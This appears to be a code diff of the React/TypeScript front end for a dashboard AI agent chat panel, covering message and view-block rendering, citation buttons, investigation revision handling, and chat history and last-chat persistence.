// A completed render_view tool part carries a `{ blocks }` view spec the agent
|
||||
// composed (see the dashboard-agent view catalog). We render those blocks as
|
||||
// rich cards instead of the generic tool row.
|
||||
function viewSpecFor(part: UIMessage["parts"][number]): { blocks: unknown[] } | null {
|
||||
const p = part as { type: string; output?: { blocks?: unknown[] } };
|
||||
if (p.type !== "tool-render_view") return null;
|
||||
return Array.isArray(p.output?.blocks) ? { blocks: p.output!.blocks! } : null;
|
||||
}
|
||||
|
||||
// Renders one message. Assistant messages that include a completed render_view
|
||||
// part get the catalog cards (plus the gather tool rows / lead-in text for
|
||||
// transparency); everything else uses the shared MessageBubble unchanged, so
|
||||
// its streaming memoization is preserved for the common case.
|
||||
const DashboardAgentMessageBubble = memo(function DashboardAgentMessageBubble({
|
||||
export function blocksFor(part: UIMessage["parts"][number]): unknown[] | null {
|
||||
const spec = viewSpecFor(part);
|
||||
if (spec) return spec.blocks;
|
||||
const hostBlocks = hostViewBlocks(part);
|
||||
if (hostBlocks) return hostBlocks;
|
||||
const report = reportBlockFromToolPart(part);
|
||||
return report ? [report] : null;
|
||||
}
|
||||
|
||||
function hostViewBlocks(part: UIMessage["parts"][number]): unknown[] | null {
|
||||
const p = part as { type: string; data?: { blocks?: unknown[] } };
|
||||
if (p.type !== "data-view") return null;
|
||||
return Array.isArray(p.data?.blocks) ? p.data!.blocks! : null;
|
||||
}
|
||||
|
||||
// `blocksFor` minus the report branch, which the winner pass would only throw away:
|
||||
// a report block is always `type: "report"`, so it can never be an investigation.
|
||||
// Reports are parsed by the turn that renders them, not once per streamed token.
|
||||
function investigationBlocksFor(part: UIMessage["parts"][number]): unknown[] | null {
|
||||
const spec = viewSpecFor(part);
|
||||
if (spec) return spec.blocks;
|
||||
return hostViewBlocks(part);
|
||||
}
|
||||
|
||||
type InvestigationRef = { id: string; revision: number };
|
||||
|
||||
function investigationRef(block: unknown): InvestigationRef | null {
|
||||
const b = block as { type?: string; id?: string; revision?: number };
|
||||
if (b?.type !== "investigation" || typeof b.id !== "string") return null;
|
||||
return { id: b.id, revision: typeof b.revision === "number" ? b.revision : 0 };
|
||||
}
|
||||
|
||||
/**
|
||||
* Per investigation id, the one `messageId:partIndex` allowed to render: highest revision.
|
||||
* Indexed over the same stripped parts the renderer walks, so the two agree on what part 0 is.
|
||||
*/
|
||||
export function winningInvestigationOccurrences(messages: UIMessage[]): Map<string, string> {
|
||||
const best = new Map<string, { revision: number; occurrence: string }>();
|
||||
for (const message of messages.map(stripStepParts)) {
|
||||
(message.parts ?? []).forEach((part, partIndex) => {
|
||||
for (const block of investigationBlocksFor(part) ?? []) {
|
||||
const ref = investigationRef(block);
|
||||
if (!ref) continue;
|
||||
const current = best.get(ref.id);
|
||||
if (!current || ref.revision >= current.revision) {
|
||||
best.set(ref.id, {
|
||||
revision: ref.revision,
|
||||
occurrence: `${message.id}:${partIndex}`,
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
return new Map([...best.entries()].map(([id, w]) => [id, w.occurrence]));
|
||||
}
|
||||
|
||||
// The stable identity is the point: a fresh `Map` re-renders the whole transcript per token.
|
||||
function useInvestigationWinners(messages: UIMessage[]): Map<string, string> {
|
||||
const previous = useRef<Map<string, string>>();
|
||||
const next = useMemo(() => winningInvestigationOccurrences(messages), [messages]);
|
||||
previous.current = reuseWinners(previous.current, next);
|
||||
return previous.current;
|
||||
}
|
||||
|
||||
function withoutSupersededInvestigations(
|
||||
blocks: unknown[],
|
||||
occurrence: string,
|
||||
winners: Map<string, string> | undefined
|
||||
): unknown[] {
|
||||
if (!winners) return blocks;
|
||||
return blocks.filter((block) => {
|
||||
const ref = investigationRef(block);
|
||||
return !ref || winners.get(ref.id) === occurrence;
|
||||
});
|
||||
}
|
||||
|
||||
function isActionsBlock(block: unknown): boolean {
|
||||
return (block as { type?: unknown } | null)?.type === "actions";
|
||||
}
|
||||
|
||||
/**
|
||||
* Buttons belong at the bottom of a turn, wherever the model emitted them: the actions
|
||||
* blocks are rendered after everything else, keeping their order among themselves.
|
||||
* Display only — the parts the turn walks are untouched.
|
||||
*/
|
||||
export function splitActionsBlocks<T>(blocks: T[]): { content: T[]; actions: T[] } {
|
||||
return {
|
||||
content: blocks.filter((block) => !isActionsBlock(block)),
|
||||
actions: blocks.filter(isActionsBlock),
|
||||
};
|
||||
}
|
||||
|
||||
// #region chat-layout transcript
|
||||
// `chat-layout.test.ts` fails if a spacing utility class appears in this region.
|
||||
|
||||
/** Until the resolver answers, the link degrades to its plain label, never a dead href. */
|
||||
const TRIGGER_MD_LINK = /\[([^\]]+)\]\((trigger:\/\/[^\s)]+)\)/g;
|
||||
function resolveTriggerLinks(
|
||||
text: string,
|
||||
resolveUri?: (uri: string) => ResolvedUri | null
|
||||
): string {
|
||||
if (!text.includes("trigger://")) return text;
|
||||
return text.replace(TRIGGER_MD_LINK, (whole, label: string, uri: string) => {
|
||||
const resolved = resolveUri?.(uri);
|
||||
return resolved ? `[${label}](${resolved.url})` : label;
|
||||
});
|
||||
}
|
||||
|
||||
function renderDashboardPart(
|
||||
part: UIMessage["parts"][number],
|
||||
i: number,
|
||||
resolveUri?: (uri: string) => ResolvedUri | null
|
||||
) {
|
||||
const p = part as {
|
||||
type: string;
|
||||
text?: string;
|
||||
url?: string;
|
||||
title?: string;
|
||||
state?: string;
|
||||
};
|
||||
const type = part.type as string;
|
||||
|
||||
if (type === "text") {
|
||||
// Images last: the link resolver's output is model-supplied too.
|
||||
return p.text ? (
|
||||
<ChatText key={i} text={stripModelImages(resolveTriggerLinks(p.text, resolveUri))} />
|
||||
) : null;
|
||||
}
|
||||
|
||||
if (type.startsWith("tool-")) {
|
||||
// In-flight calls render nothing here; `liveProgress` owns the turn's progress line.
|
||||
if (IN_FLIGHT_TOOL_STATES.has(p.state ?? "")) return null;
|
||||
if (p.state === "output-error") return renderPart(part, i);
|
||||
return null;
|
||||
}
|
||||
|
||||
return renderPart(part, i);
|
||||
}
|
||||
|
||||
function citationFor(part: UIMessage["parts"][number]): { url: string; label: string } | null {
|
||||
const p = part as { type: string; url?: string; title?: string };
|
||||
if (p.type !== "source-url") return null;
|
||||
const url = toSafeUrl(p.url);
|
||||
const label = p.title || p.url;
|
||||
return url && label ? { url, label } : null;
|
||||
}
|
||||
|
||||
function CitationButton({ url, label }: { url: string; label: string }) {
|
||||
const navigate = useNavigate();
|
||||
const path = typeof window === "undefined" ? null : sameOriginPath(url, window.location.origin);
|
||||
|
||||
if (path) {
|
||||
return (
|
||||
<Button variant="docs/small" LeadingIcon={BookOpenIcon} onClick={() => navigate(path)}>
|
||||
{label}
|
||||
</Button>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<LinkButton to={url} variant="docs/small" LeadingIcon={BookOpenIcon}>
|
||||
{label}
|
||||
</LinkButton>
|
||||
);
|
||||
}
|
||||
|
||||
function userText(message: UIMessage): string {
|
||||
return (
|
||||
message.parts
|
||||
?.filter((part) => part.type === "text")
|
||||
.map((part) => (part as { type: "text"; text: string }).text)
|
||||
.join("") ?? ""
|
||||
);
|
||||
}
|
||||
|
||||
const DashboardAgentTurn = memo(function DashboardAgentTurn({
|
||||
message,
|
||||
onIntent,
|
||||
resolveUri,
|
||||
pagePaths,
|
||||
investigationWinners,
|
||||
}: {
|
||||
message: UIMessage;
|
||||
onIntent?: (intent: AgentIntent) => void;
|
||||
resolveUri?: (uri: string) => ResolvedUri | null;
|
||||
pagePaths?: Record<string, string>;
|
||||
/** See {@link winningInvestigationOccurrences}. */
|
||||
investigationWinners?: Map<string, string>;
|
||||
}) {
|
||||
if (message.role !== "assistant" || !message.parts?.some((p) => viewSpecFor(p))) {
|
||||
return <MessageBubble message={message} />;
|
||||
if (message.role === "user") {
|
||||
return (
|
||||
<ChatTurn role="user">
|
||||
<ChatText role="user" text={userText(message)} />
|
||||
</ChatTurn>
|
||||
);
|
||||
}
|
||||
if (message.role !== "assistant") return null;
|
||||
const parts = message.parts ?? [];
|
||||
if (parts.length === 0) return null;
|
||||
|
||||
const body: React.ReactNode[] = [];
|
||||
const actionRows: React.ReactNode[] = [];
|
||||
for (let i = 0; i < parts.length; i++) {
|
||||
const part = parts[i]!;
|
||||
|
||||
const rawBlocks = blocksFor(part);
|
||||
if (rawBlocks) {
|
||||
const blocks = withoutSupersededInvestigations(
|
||||
rawBlocks,
|
||||
`${message.id}:${i}`,
|
||||
investigationWinners
|
||||
);
|
||||
// `answered` stays keyed on the emission index: the reorder is display only.
|
||||
const slot = (list: unknown[], key: string) => (
|
||||
<ChatCardSlot key={key}>
|
||||
<ViewBlocks
|
||||
blocks={list as never}
|
||||
onIntent={onIntent}
|
||||
resolveUri={resolveUri}
|
||||
pagePaths={pagePaths}
|
||||
answered={answerContinuesAfter(parts as never, i)}
|
||||
/>
|
||||
</ChatCardSlot>
|
||||
);
|
||||
const { content, actions } = splitActionsBlocks(blocks);
|
||||
if (content.length > 0) body.push(slot(content, `${i}`));
|
||||
if (actions.length > 0) actionRows.push(slot(actions, `actions-${i}`));
|
||||
continue;
|
||||
}
|
||||
|
||||
if (citationFor(part)) {
|
||||
const start = i;
|
||||
const buttons: React.ReactNode[] = [];
|
||||
while (i < parts.length) {
|
||||
const citation = citationFor(parts[i]!);
|
||||
if (!citation) break;
|
||||
buttons.push(<CitationButton key={i} url={citation.url} label={citation.label} />);
|
||||
i++;
|
||||
}
|
||||
i--;
|
||||
body.push(<ChatActionsRow key={`citations-${start}`}>{buttons}</ChatActionsRow>);
|
||||
continue;
|
||||
}
|
||||
|
||||
body.push(renderDashboardPart(part, i, resolveUri));
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-2">
|
||||
{message.parts.map((part, i) => {
|
||||
const spec = viewSpecFor(part);
|
||||
if (spec) return <ViewBlocks key={i} blocks={spec.blocks as never} />;
|
||||
return renderPart(part, i);
|
||||
})}
|
||||
</div>
|
||||
<ChatTurn>
|
||||
{body}
|
||||
{actionRows}
|
||||
</ChatTurn>
|
||||
);
|
||||
});
|
||||
|
||||
// Renders the conversation with the shared agent message renderer — the same
|
||||
// MessageBubble the run inspector and playground use, so agent output looks
|
||||
// identical everywhere — except where the agent emits a view-catalog block,
|
||||
// which renders as a rich card.
|
||||
export function DashboardAgentMessages({
|
||||
export function DashboardAgentTurns({
|
||||
messages,
|
||||
isThinking,
|
||||
activity,
|
||||
error,
|
||||
}: {
|
||||
messages: UIMessage[];
|
||||
isThinking: boolean;
|
||||
error?: Error;
|
||||
}) {
|
||||
const rootRef = useAutoScrollToBottom([messages, isThinking]);
|
||||
onRetry,
|
||||
onDismissError,
|
||||
onIntent,
|
||||
resolveUri,
|
||||
pagePaths,
|
||||
}: DashboardAgentMessagesProps) {
|
||||
// Must be the exact parts the turns render: the winners map keys by part index.
|
||||
const stripped = useMemo(() => messages.map(stripStepParts), [messages]);
|
||||
|
||||
// Must not go null mid-flight: null unmounts the line and it blinks. The error
|
||||
// callout below legitimately renders after it.
|
||||
const progress = liveProgress(stripped, activity);
|
||||
|
||||
const investigationWinners = useInvestigationWinners(stripped);
|
||||
|
||||
const liveError = shouldShowLiveTurnError(error, stripped) ? error : undefined;
|
||||
|
||||
return (
|
||||
<div className="flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
|
||||
<div ref={rootRef} className="space-y-4 p-4">
|
||||
{messages.map((message) => (
|
||||
<DashboardAgentMessageBubble key={message.id} message={stripStepParts(message)} />
|
||||
))}
|
||||
{isThinking && (
|
||||
<div className="flex items-center gap-2 text-sm text-text-dimmed">
|
||||
<Spinner className="size-3" />
|
||||
Thinking…
|
||||
</div>
|
||||
)}
|
||||
{error && (
|
||||
<div className="rounded border border-error/30 bg-error/10 px-3 py-2">
|
||||
<span className="text-xs text-error">{error.message}</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<>
|
||||
{stripped.map((message) => (
|
||||
<DashboardAgentTurn
|
||||
key={message.id}
|
||||
message={message}
|
||||
onIntent={onIntent}
|
||||
resolveUri={resolveUri}
|
||||
pagePaths={pagePaths}
|
||||
investigationWinners={investigationWinners}
|
||||
/>
|
||||
))}
|
||||
{progress && (
|
||||
<ChatTurn>
|
||||
<ChatProgress>{progress.label}</ChatProgress>
|
||||
</ChatTurn>
|
||||
)}
|
||||
{/* Suppressed once the transcript ends in the stored record of this same
|
||||
failure, so a reload doesn't show the callout and the record together. */}
|
||||
{liveError && (
|
||||
<ChatTurn>
|
||||
<ChatCardSlot>
|
||||
<Callout
|
||||
variant="error"
|
||||
cta={
|
||||
(onRetry || onDismissError) && (
|
||||
<ChatActionsRow>
|
||||
{onRetry && (
|
||||
<Button variant="primary/small" LeadingIcon={ArrowPathIcon} onClick={onRetry}>
|
||||
Try again
|
||||
</Button>
|
||||
)}
|
||||
{onDismissError && (
|
||||
<Button
|
||||
variant="minimal/small"
|
||||
LeadingIcon={XMarkIcon}
|
||||
onClick={onDismissError}
|
||||
aria-label="Dismiss error"
|
||||
/>
|
||||
)}
|
||||
</ChatActionsRow>
|
||||
)
|
||||
}
|
||||
>
|
||||
{liveError.message}
|
||||
</Callout>
|
||||
</ChatCardSlot>
|
||||
</ChatTurn>
|
||||
)}
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export function DashboardAgentMessages(props: DashboardAgentMessagesProps) {
|
||||
const rootRef = useTranscriptAutoScroll(props.messages, props.activity);
|
||||
|
||||
return (
|
||||
<ChatTranscript contentRef={rootRef}>
|
||||
<DashboardAgentTurns {...props} />
|
||||
</ChatTranscript>
|
||||
);
|
||||
}
|
||||
// #endregion chat-layout transcript
|
||||
|
||||
@@ -2,7 +2,9 @@ import type { UIMessage } from "@ai-sdk/react";
|
||||
import { useLocation } from "@remix-run/react";
|
||||
import { generateFriendlyId } from "@trigger.dev/core/v3/isomorphic";
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
|
||||
import { Spinner } from "~/components/primitives/Spinner";
|
||||
import { AgentSpinner } from "~/components/primitives/Spinner";
|
||||
import { useToast } from "~/components/primitives/Toast";
|
||||
import { useAgentPageContext } from "~/hooks/useAgentPageContext";
|
||||
import { useApiOrigin } from "~/hooks/useApiOrigin";
|
||||
import { useEnvironment } from "~/hooks/useEnvironment";
|
||||
import { useOrganization } from "~/hooks/useOrganizations";
|
||||
@@ -13,56 +15,90 @@ import {
|
||||
type DashboardAgentClientData,
|
||||
type DashboardAgentSession,
|
||||
} from "./DashboardAgentChat";
|
||||
import { DashboardAgentDraft } from "./DashboardAgentDraft";
|
||||
import { DashboardAgentHeader } from "./DashboardAgentHeader";
|
||||
import { createCoalescedReload } from "./coalesced-reload";
|
||||
import {
|
||||
DashboardAgentHistory,
|
||||
type DashboardAgentChat as DashboardAgentChatListItem,
|
||||
} from "./DashboardAgentHistory";
|
||||
forgetLastChat,
|
||||
lastChatStorageKey,
|
||||
readLastChat,
|
||||
shouldPersistLastChat,
|
||||
writeLastChat,
|
||||
} from "./last-chat-storage";
|
||||
import { DashboardAgentDraft } from "./DashboardAgentDraft";
|
||||
import type { TurnActivity } from "./DashboardAgentMessages";
|
||||
import { DashboardAgentHeader } from "./DashboardAgentHeader";
|
||||
import type { DashboardAgentChat as DashboardAgentChatListItem } from "./DashboardAgentHistory";
|
||||
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
|
||||
import { resolveOpenedChat, type OpenedChatResponse } from "./opened-chat";
|
||||
import type { AgentPageContext } from "./page-context-types";
|
||||
import { agentPageLabel } from "./page-label";
|
||||
import { AgentPanelColumn } from "./panel-layout";
|
||||
import { markerAfterActiveChat, markerAfterActivity } from "./thinking-marker";
|
||||
import { concurrencyPath } from "~/utils/pathBuilder";
|
||||
|
||||
// Restore the last open chat across panel re-opens and page reloads. Scoped by
|
||||
// org because chats are org-scoped. localStorage (not a cookie) since the panel
|
||||
// only mounts client-side — the server never needs this.
|
||||
const lastChatStorageKey = (organizationId: string) =>
|
||||
`tdev:dashboard-agent:last-chat:${organizationId}`;
|
||||
function serializePageContext(pageContext: AgentPageContext): string | undefined {
|
||||
try {
|
||||
return JSON.stringify(pageContext);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
type ActiveChat = {
|
||||
chatId: string;
|
||||
// The org the chat belongs to, so a switch can't file it under the new org's key.
|
||||
organizationId: string;
|
||||
messages: UIMessage[];
|
||||
session: DashboardAgentSession | null;
|
||||
// Cold start only: the agent run has no warm step-1, so the mounted chat sends
|
||||
// this first message through the transport to trigger the turn. Undefined for
|
||||
// head-started and resumed chats — their stream is resumed, not re-sent.
|
||||
pendingFirstMessage?: string;
|
||||
// True for a head-started chat: the turn is already in flight server-side, so
|
||||
// the transport must hydrate the session as streaming to resume `session.out`.
|
||||
// Head start: the turn is already in flight, so the session hydrates as streaming.
|
||||
streaming?: boolean;
|
||||
};
|
||||
|
||||
/**
|
||||
* The dashboard agent side panel. Owns history, the active chat, and last-chat
|
||||
* persistence. New chats start in a draft state with no id; the server
|
||||
* generates the chat id on the first send (`create`) and owns the chat record,
|
||||
* so the client never invents an id. Existing chats resolve their stored
|
||||
* transcript + session before mounting `DashboardAgentChat` (keyed by chatId).
|
||||
*/
|
||||
export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
|
||||
// The server generates the chat id on the first send; the client never invents one.
|
||||
export function DashboardAgentPanel({
|
||||
onClose,
|
||||
requestedMessage,
|
||||
newChatSeq,
|
||||
promotedPrompt,
|
||||
isFullscreen = false,
|
||||
onToggleFullscreen,
|
||||
}: {
|
||||
onClose: () => void;
|
||||
isFullscreen?: boolean;
|
||||
onToggleFullscreen?: () => void;
|
||||
// Every `seq` below distinguishes repeat requests with identical contents.
|
||||
requestedMessage?: { text: string; seq: number };
|
||||
newChatSeq?: number;
|
||||
promotedPrompt?: SuggestedPrompt;
|
||||
}) {
|
||||
const organization = useOrganization();
|
||||
const project = useProject();
|
||||
const environment = useEnvironment();
|
||||
const user = useUser();
|
||||
const apiOrigin = useApiOrigin();
|
||||
const location = useLocation();
|
||||
|
||||
const [view, setView] = useState<"chat" | "history">("chat");
|
||||
const [chats, setChats] = useState<DashboardAgentChatListItem[]>([]);
|
||||
const [active, setActive] = useState<ActiveChat | null>(null);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const pageContext = useAgentPageContext();
|
||||
const toast = useToast();
|
||||
|
||||
const actionPath = `/resources/orgs/${organization.slug}/projects/${project.slug}/env/${environment.slug}/dashboard-agent`;
|
||||
const storageKey = lastChatStorageKey(organization.id);
|
||||
|
||||
const currentPage = location.pathname.split("/").filter(Boolean).pop() ?? "overview";
|
||||
const [chats, setChats] = useState<DashboardAgentChatListItem[]>([]);
|
||||
const [active, setActive] = useState<ActiveChat | null>(null);
|
||||
// Starts true so an `openWith` request waits for the restore instead of racing it.
|
||||
const [loading, setLoading] = useState(
|
||||
() => readLastChat(storageKey)?.path === location.pathname
|
||||
);
|
||||
|
||||
const currentPage = agentPageLabel(pageContext, location.pathname);
|
||||
|
||||
const pagePaths = useMemo<Record<string, string>>(
|
||||
() => ({ raise_env_limit: concurrencyPath(organization, project, environment) }),
|
||||
[organization, project, environment]
|
||||
);
|
||||
|
||||
// A fresh object every render, so the clientData memo keys off the serialized form.
|
||||
const pageContextKey = serializePageContext(pageContext);
|
||||
|
||||
const clientData = useMemo<DashboardAgentClientData>(
|
||||
() => ({
|
||||
@@ -71,69 +107,76 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
|
||||
projectId: project.id,
|
||||
environmentId: environment.id,
|
||||
currentPage: location.pathname,
|
||||
pageContext: pageContextKey ? (JSON.parse(pageContextKey) as AgentPageContext) : undefined,
|
||||
}),
|
||||
[user.id, organization.id, project.id, environment.id, location.pathname]
|
||||
[user.id, organization.id, project.id, environment.id, location.pathname, pageContextKey]
|
||||
);
|
||||
|
||||
const loadHistory = useCallback(async () => {
|
||||
const res = await fetch(actionPath);
|
||||
if (res.ok) {
|
||||
const data = (await res.json()) as { chats?: DashboardAgentChatListItem[] };
|
||||
setChats(data.chats ?? []);
|
||||
}
|
||||
}, [actionPath]);
|
||||
const [thinkingChatId, setThinkingChatId] = useState<string | null>(null);
|
||||
const handleActivityChange = useCallback((chatId: string, activity: TurnActivity | null) => {
|
||||
setThinkingChatId((previous) => markerAfterActivity(previous, chatId, activity));
|
||||
}, []);
|
||||
|
||||
// Bumped on each open so a slower earlier open can't overwrite a newer one
|
||||
// when chats are switched rapidly.
|
||||
// Ordering-safe: if the new chat has not reported yet, its own report re-sets the marker.
|
||||
useEffect(() => {
|
||||
setThinkingChatId((previous) => markerAfterActiveChat(previous, active?.chatId));
|
||||
}, [active?.chatId]);
|
||||
|
||||
const loadHistory = useMemo(
|
||||
() =>
|
||||
createCoalescedReload(async () => {
|
||||
try {
|
||||
const res = await fetch(actionPath);
|
||||
if (!res.ok) throw new Error(`History request failed (${res.status})`);
|
||||
const data = (await res.json()) as { chats?: DashboardAgentChatListItem[] };
|
||||
setChats(data.chats ?? []);
|
||||
} catch (error) {
|
||||
console.error("Dashboard agent: failed to load chat history", error);
|
||||
toast.error("We couldn't load your previous chats. Try again in a moment.");
|
||||
}
|
||||
}),
|
||||
[actionPath, toast]
|
||||
);
|
||||
|
||||
// Bumped on each open so a slower earlier open can't overwrite a newer one.
|
||||
const openChatRequestSeq = useRef(0);
|
||||
|
||||
// Open an existing chat: fetch its stored transcript + session so resume flows
|
||||
// in through the transport at mount. A stored id that's gone (deleted / never
|
||||
// sent) drops back to the draft state.
|
||||
const openChat = useCallback(
|
||||
async (id: string) => {
|
||||
setView("chat");
|
||||
const seq = ++openChatRequestSeq.current;
|
||||
setLoading(true);
|
||||
try {
|
||||
const res = await fetch(`${actionPath}?chatId=${encodeURIComponent(id)}`);
|
||||
const data = res.ok
|
||||
? ((await res.json()) as {
|
||||
messages?: UIMessage[];
|
||||
session?: { publicAccessToken: string; lastEventId: string | null } | null;
|
||||
})
|
||||
: { messages: [], session: null };
|
||||
if (seq !== openChatRequestSeq.current) return;
|
||||
if (data.messages && data.messages.length > 0) {
|
||||
setActive({
|
||||
chatId: id,
|
||||
messages: data.messages,
|
||||
session: data.session?.publicAccessToken
|
||||
? {
|
||||
publicAccessToken: data.session.publicAccessToken,
|
||||
lastEventId: data.session.lastEventId ?? undefined,
|
||||
}
|
||||
: null,
|
||||
});
|
||||
} else {
|
||||
// Nothing stored under this id — drop to a fresh draft.
|
||||
setActive(null);
|
||||
if (!res.ok && res.status !== 404) {
|
||||
console.error(`Dashboard agent: failed to open chat ${id} (${res.status})`);
|
||||
toast.error("We couldn't open that chat. Try again in a moment.");
|
||||
// Transient failure: keep the stored pointer so the chat can be reopened.
|
||||
if (seq === openChatRequestSeq.current) setActive(null);
|
||||
return;
|
||||
}
|
||||
const data = res.ok ? ((await res.json()) as OpenedChatResponse) : undefined;
|
||||
if (seq !== openChatRequestSeq.current) return;
|
||||
const opened = resolveOpenedChat(id, data);
|
||||
if (opened.kind === "gone") {
|
||||
// Deleted, or another org's: drop the pointer so it can't be restored again.
|
||||
setActive(null);
|
||||
forgetLastChat(storageKey);
|
||||
return;
|
||||
}
|
||||
setActive({ ...opened, organizationId: organization.id });
|
||||
} catch (error) {
|
||||
console.error(`Dashboard agent: failed to open chat ${id}`, error);
|
||||
toast.error("We couldn't open that chat. Try again in a moment.");
|
||||
if (seq === openChatRequestSeq.current) setActive(null);
|
||||
} finally {
|
||||
if (seq === openChatRequestSeq.current) setLoading(false);
|
||||
}
|
||||
},
|
||||
[actionPath]
|
||||
[actionPath, organization.id, storageKey, toast]
|
||||
);
|
||||
|
||||
// Start a new chat by sending its first message. The server generates the id,
|
||||
// creates the chat record, and kicks off the first turn (head start when
|
||||
// configured, else a cold session). We then mount the real chat on the server
|
||||
// id and either resume its stream (head start) or send the message through
|
||||
// the transport (cold start).
|
||||
const createChat = useCallback(
|
||||
async (text: string) => {
|
||||
setView("chat");
|
||||
const seq = ++openChatRequestSeq.current;
|
||||
setLoading(true);
|
||||
try {
|
||||
@@ -153,56 +196,84 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
|
||||
headStarted?: boolean;
|
||||
error?: string;
|
||||
};
|
||||
// A newer open/create (or New chat) superseded this one — drop the result.
|
||||
if (seq !== openChatRequestSeq.current) return;
|
||||
if (!res.ok || !data.chatId || !data.publicAccessToken) {
|
||||
console.error(`Dashboard agent: failed to create chat (${res.status})`, data.error);
|
||||
toast.error(data.error ?? "We couldn't start that chat. Try again in a moment.");
|
||||
setActive(null);
|
||||
return;
|
||||
}
|
||||
setActive({
|
||||
chatId: data.chatId,
|
||||
organizationId: organization.id,
|
||||
messages: data.headStarted ? [userMessage] : [],
|
||||
session: { publicAccessToken: data.publicAccessToken },
|
||||
pendingFirstMessage: data.headStarted ? undefined : text,
|
||||
streaming: data.headStarted,
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Dashboard agent: failed to create chat", error);
|
||||
toast.error("We couldn't start that chat. Try again in a moment.");
|
||||
if (seq === openChatRequestSeq.current) setActive(null);
|
||||
} finally {
|
||||
if (seq === openChatRequestSeq.current) setLoading(false);
|
||||
}
|
||||
},
|
||||
[actionPath, clientData]
|
||||
[actionPath, clientData, organization.id, toast]
|
||||
);
|
||||
|
||||
// On open, restore the last chat if there is one; otherwise stay in the draft
|
||||
// state (active = null). Runs once per mount.
|
||||
const restored = useRef(false);
|
||||
useEffect(() => {
|
||||
if (restored.current) return;
|
||||
restored.current = true;
|
||||
let stored: string | null = null;
|
||||
try {
|
||||
stored = window.localStorage.getItem(storageKey);
|
||||
} catch {
|
||||
/* localStorage unavailable — start fresh */
|
||||
void loadHistory();
|
||||
const stored = readLastChat(storageKey);
|
||||
if (stored && stored.path === location.pathname) {
|
||||
void openChat(stored.chatId);
|
||||
} else {
|
||||
setLoading(false);
|
||||
}
|
||||
if (stored) void openChat(stored);
|
||||
}, [openChat, storageKey]);
|
||||
// location is deliberately not a dep: this is a mount-time decision.
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [openChat, storageKey, loadHistory]);
|
||||
|
||||
// Persist the active chat as the one to restore next time.
|
||||
// Crossing into another org does not remount the layout.
|
||||
const panelOrg = useRef(organization.id);
|
||||
useEffect(() => {
|
||||
if (!active?.chatId) return;
|
||||
try {
|
||||
window.localStorage.setItem(storageKey, active.chatId);
|
||||
} catch {
|
||||
/* ignore */
|
||||
if (panelOrg.current === organization.id) return;
|
||||
panelOrg.current = organization.id;
|
||||
openChatRequestSeq.current += 1;
|
||||
setActive(null);
|
||||
setLoading(false);
|
||||
setChats([]);
|
||||
void loadHistory();
|
||||
}, [organization.id, loadHistory]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!shouldPersistLastChat(active, organization.id)) return;
|
||||
writeLastChat(storageKey, { chatId: active.chatId, path: location.pathname });
|
||||
}, [active, organization.id, storageKey, location.pathname]);
|
||||
|
||||
// Bound to its chat, which remounts with a fresh guard ref on every switch.
|
||||
const [prefill, setPrefill] = useState<{ text: string; seq: number; chatId: string } | undefined>(
|
||||
undefined
|
||||
);
|
||||
const handledRequestSeq = useRef<number | undefined>(undefined);
|
||||
useEffect(() => {
|
||||
if (!requestedMessage || loading) return;
|
||||
if (handledRequestSeq.current === requestedMessage.seq) return;
|
||||
handledRequestSeq.current = requestedMessage.seq;
|
||||
if (active) {
|
||||
setPrefill({ ...requestedMessage, chatId: active.chatId });
|
||||
} else {
|
||||
void createChat(requestedMessage.text);
|
||||
}
|
||||
}, [active?.chatId, storageKey]);
|
||||
}, [requestedMessage, loading, active, createChat]);
|
||||
|
||||
const newChat = useCallback(() => {
|
||||
// Invalidate any in-flight open/create so its result can't replace the draft.
|
||||
// Invalidate any in-flight open or create so its result can't replace the draft.
|
||||
openChatRequestSeq.current += 1;
|
||||
setLoading(false);
|
||||
setView("chat");
|
||||
setActive(null);
|
||||
}, []);
|
||||
|
||||
@@ -213,70 +284,101 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
|
||||
[openChat]
|
||||
);
|
||||
|
||||
// The ref skips the mount-time value so opening the panel never resets a restored chat.
|
||||
const seenNewChatSeq = useRef(newChatSeq ?? 0);
|
||||
useEffect(() => {
|
||||
if (newChatSeq === undefined || newChatSeq === seenNewChatSeq.current) return;
|
||||
seenNewChatSeq.current = newChatSeq;
|
||||
newChat();
|
||||
}, [newChatSeq, newChat]);
|
||||
|
||||
const deleteChat = useCallback(
|
||||
async (id: string) => {
|
||||
const body = new FormData();
|
||||
body.set("intent", "delete");
|
||||
body.set("chatId", id);
|
||||
await fetch(actionPath, { method: "POST", body });
|
||||
try {
|
||||
const res = await fetch(actionPath, { method: "POST", body });
|
||||
if (!res.ok) throw new Error(`Delete failed (${res.status})`);
|
||||
} catch (error) {
|
||||
console.error("Dashboard agent: failed to delete chat", error);
|
||||
toast.error("We couldn't delete that chat. Try again in a moment.");
|
||||
return;
|
||||
}
|
||||
setThinkingChatId((previous) => (previous === id ? null : previous));
|
||||
if (id === active?.chatId) newChat();
|
||||
void loadHistory();
|
||||
},
|
||||
[actionPath, active?.chatId, newChat, loadHistory]
|
||||
[actionPath, active?.chatId, newChat, loadHistory, toast]
|
||||
);
|
||||
|
||||
const toggleHistory = useCallback(() => {
|
||||
setView((v) => {
|
||||
if (v === "chat") void loadHistory();
|
||||
return v === "chat" ? "history" : "chat";
|
||||
});
|
||||
}, [loadHistory]);
|
||||
// Titles are written when the first turn settles, so a new chat has none yet.
|
||||
const activeChat = active ? chats.find((chat) => chat.id === active.chatId) : undefined;
|
||||
const headerTitle = active ? (activeChat?.title ?? "Chat") : "New chat";
|
||||
|
||||
return (
|
||||
